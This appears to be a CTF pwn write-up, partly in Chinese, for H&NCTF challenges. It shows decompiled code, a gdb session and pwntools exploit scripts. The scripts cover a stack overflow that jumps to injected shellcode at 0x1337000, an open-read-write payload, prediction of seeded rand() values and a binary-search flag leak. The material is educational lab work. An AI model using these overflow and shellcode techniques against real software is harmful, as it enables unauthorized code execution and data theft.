int sub_4013E8() { puts("Welcome to the world of \"H&NCTF\"!"); printf("I think you need to prepare your acceptance speech in advance. "); return getchar(); }
motaly@motaly-VMware-Virtual-Platform:~$ gdb vuln GNU gdb (Ubuntu 15.0.50.20240403-0ubuntu1) 15.0.50.20240403-git Copyright (C) 2024 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html> This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law. Type "show copying" and "show warranty" for details. This GDB was configured as "x86_64-linux-gnu". Type "show configuration" for configuration details. For bug reporting instructions, please see: <https://www.gnu.org/software/gdb/bugs/>. Find the GDB manual and other documentation resources online at: <http://www.gnu.org/software/gdb/documentation/>.
For help, type "help". Type "apropos word" to search for commands related to "word"... pwndbg: loaded 177 pwndbg commands and 46 shell commands. Type pwndbg [--shell | --all] [filter] for a list. pwndbg: created $rebase, $base, $hex2ptr, $argv, $envp, $argc, $environ, $bn_sym, $bn_var, $bn_eval, $ida GDB functions (can be used with print/break) Reading symbols from vuln...
This GDB supports auto-downloading debuginfo from the following URLs: <https://debuginfod.ubuntu.com> Debuginfod has been disabled. To make this setting permanent, add 'set debuginfod enabled off' to .gdbinit. (No debugging symbols found in vuln) ------- tip of the day (disable with set show-tips off) ------- GDB's follow-fork-mode parameter can be used to set whether to trace parent or child after fork() calls. Pwndbg sets it to child by default pwndbg> cycli 500 aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaazaaaaaabbaaaaaabcaaaaaabdaaaaaabeaaaaaabfaaaaaabgaaaaaabhaaaaaabiaaaaaabjaaaaaabkaaaaaablaaaaaabmaaaaaabnaaaaaaboaaaaaabpaaaaaabqaaaaaabraaaaaabsaaaaaabtaaaaaabuaaaaaabvaaaaaabwaaaaaabxaaaaaabyaaaaaabzaaaaaacbaaaaaaccaaaaaacdaaaaaaceaaaaaacfaaaaaacgaaaaaachaaaaaaciaaaaaacjaaaaaackaaaaaaclaaaaaacmaaa pwndbg> r Starting program: /home/motaly/vuln [Thread debugging using libthread_db enabled] Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1". Welcome to the world of "H&NCTF"! I think you need to prepare your acceptance speech in advance. Please speak:aaaa Do you have anything else to say?aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaazaaaaaabbaaaaaabcaaaaaabdaaaaaabeaaaaaabfaaaaaabgaaaaaabhaaaaaabiaaaaaabjaaaaaabkaaaaaablaaaaaabmaaaaaabnaaaaaaboaaaaaabpaaaaaabqaaaaaabraaaaaabsaaaaaabtaaaaaabuaaaaaabvaaaaaabwaaaaaabxaaaaaabyaaaaaabzaaaaaacbaaaaaaccaaaaaacdaaaaaaceaaaaaacfaaaaaacgaaaaaachaaaaaaciaaaaaacjaaaaaackaaaaaaclaaaaaacmaaa
addr = 0x1337000 io.recvuntil(b'I think you need to prepare your acceptance speech in advance.') io.sendline(b'') io.recvuntil(b'Please speak:') io.sendline(sc) payload = b'a'*72 + p64(addr) io.sendlineafter(b'Do you have anything else to say?', payload)
addr = 0x1337000 io.recvuntil(b'I think you need to prepare your acceptance speech in advance.') io.sendline(b'') io.recvuntil(b'Please speak:') io.sendline(sc) payload = b'a'*72 + p64(addr) io.sendlineafter(b'Do you have anything else to say?', payload) io.interactive()
io.recvuntil(b'I think you need to prepare your acceptance speech in advance.') io.sendline(b'') io.recvuntil(b'Please speak:') io.sendline(orw) io.recvuntil(b'Do you have anything else to say?') payload=b'a'*(0x40+8)+p64(0x1337000) io.sendline(payload)
int __fastcall main(int argc, const char **argv, const char **envp) { int v4; // [rsp+8h] [rbp-18h] BYREF int v5; // [rsp+Ch] [rbp-14h] unsigned int n8; // [rsp+10h] [rbp-10h] unsigned int seed; // [rsp+14h] [rbp-Ch] int j; // [rsp+18h] [rbp-8h] int i; // [rsp+1Ch] [rbp-4h]
init(argc, argv, envp); seed = time(0LL); n8 = 8; srand(seed); v5 = rand(); srand(v5 % 5 - 44174237); puts(&s_); puts(&s__0); puts("game1 begin\n"); for ( i = 1; i <= 55; ++i ) { puts("good!"); __isoc99_scanf("%d", &v4); if ( rand() % 4 + 1 != v4 ) { puts("Your flag has been stolen by a mouse."); return 0; } } puts( "Congratulations! Since you have participated in the CTF competitions multiple times, the difficulty level has now dr" "opped directly to the easiest.\n"); puts("You have outperformed over 99.99% of the contestants.\n"); puts("Your friend 'Genshin Impact Start' has obtained the flag through assistance. You'll be the next one.\n"); puts("You only need one more boost to get the flag.\n"); puts("game2 begin\n"); srand(n8); for ( j = 1; j <= 55; ++j ) { puts("good!"); __isoc99_scanf("%d", &v4); if ( rand() % 4 + 8 != v4 ) { puts("Your flag has been stolen by a mouse.\n"); return 0; } } puts("You've collected the last piece of the puzzle. Now you just need to invite one more new user to get the flag.\n"); func(); return 0; }
这里主要是两层限制 1.第一层
1 2 3 4 5 6 7 8 9 10 11 12 13 14
seed = time(0LL); //获取当前时间作为初始种子 srand(seed); //初始化随机数生成器 v5 = rand(); //生成第一个随机数 srand(v5 % 5 - 44174237); //计算新的种子值 for ( i = 1; i <= 55; ++i ) //进行55次循环 { puts("good!"); __isoc99_scanf("%d", &v4); //输入点 if ( rand() % 4 + 1 != v4 ) //输入与随机生成的进行匹配 { puts("Your flag has been stolen by a mouse."); return 0; } }
def get_first_55(guess): libc.srand(guess) v5 = libc.rand() new_seed = v5 % 5 - 44174237 libc.srand(new_seed) list = [(libc.rand() % 4 + 1) for _ in range(55)] //生成的随机数数组 return list
考虑延迟等各种因素,这里不能直接使用当前时间,给一个时间范围,都尝试一下
1 2 3 4 5 6 7 8 9 10 11 12
time = int(time.time())
for seed in range(time + 10, time - 5, -1): try: first_55 = get_first_55(seed) log.info(f"Trying seed: {seed}") for i in range(55): p.recvuntil(b"good!\n") p.sendline(str(first_55[i]).encode()) break except Exception as e: continue
libc.srand(8) second_55 = [(libc.rand() % 4 + 8) for _ in range(55)] for i in range(55): p.recvuntil(b"good!\n") p.sendline(str(second_55[i]).encode())
def get_first_55(guess): libc.srand(guess) v5 = libc.rand() new_seed = v5 % 5 - 44174237 libc.srand(new_seed) list = [(libc.rand() % 4 + 1) for _ in range(55)] return list
time = int(time.time())
for seed in range(time + 10, time - 5, -1): try: first_55 = get_first_55(seed) log.info(f"Trying seed: {seed}") for i in range(55): p.recvuntil(b"good!\n") p.sendline(str(first_55[i]).encode()) break except Exception as e: continue
libc.srand(8) second_55 = [(libc.rand() % 4 + 8) for _ in range(55)] for i in range(55): p.recvuntil(b"good!\n") p.sendline(str(second_55[i]).encode())
这里的 global io 允许函数内部访问和修改全局作用域中的io变量 在 Python 中,函数内部默认只能访问全局变量,但不能直接修改它们。如果没有 global io 声明,find 函数内部对 io 的赋值会创建一个新的局部变量,而不是修改全局变量 第二段 二分查找方法确定flag值
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
i = 0 //用于记录当前正在猜测的flag字符位置(索引) flag = '' while True: l = 0x20 //搜索范围下界,对应ASCII码的空格字符(32) r = 0x80 //搜索范围上界,对应ASCII码的128(超出可打印字符范围) while l <= r: m = (l + r) // 2 //算当前搜索范围的中间值,作为本次猜测的ASCII码 if find(i, m): //调用find函数检查第i个字符是否小于等于m r = m - 1 //如果第i个字符小于等于m,缩小上界,继续在左半部分搜索 else: l = m + 1 //如果第i个字符大于m,增大下界,继续在右半部分搜索 if l==0: //当l变为0时,表示没有找到有效字符,可能flag已获取完毕 break //跳出外层循环,结束整个flag获取过程 flag += chr(l) info("win!!!!!!!!!!!!!!!!!!!!!!!!! ") info(flag) i += 1